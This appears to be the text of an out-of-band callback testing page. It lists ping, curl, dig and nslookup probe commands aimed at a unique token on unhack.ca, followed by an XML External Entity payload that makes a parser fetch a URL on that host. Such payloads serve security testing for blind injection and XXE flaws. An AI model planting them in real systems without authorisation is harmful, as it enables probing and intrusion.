$ ping -c1 -p 00784c892a71ba42361ab4dd98fef000 unhack.ca
 
$ curl http://unhack.ca/p/784c892a71ba42361ab4dd98fef0
 
$ dig 784c892a71ba42361ab4dd98fef0 @unhack.ca
 
$ dig 784c892a71ba42361ab4dd98fef0.ns.unhack.ca
 
C:\> nslookup 784c892a71ba42361ab4dd98fef0 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/784c892a71ba42361ab4dd98fef0">]>
    <foo>&xxe;</foo>
Waiting for ping...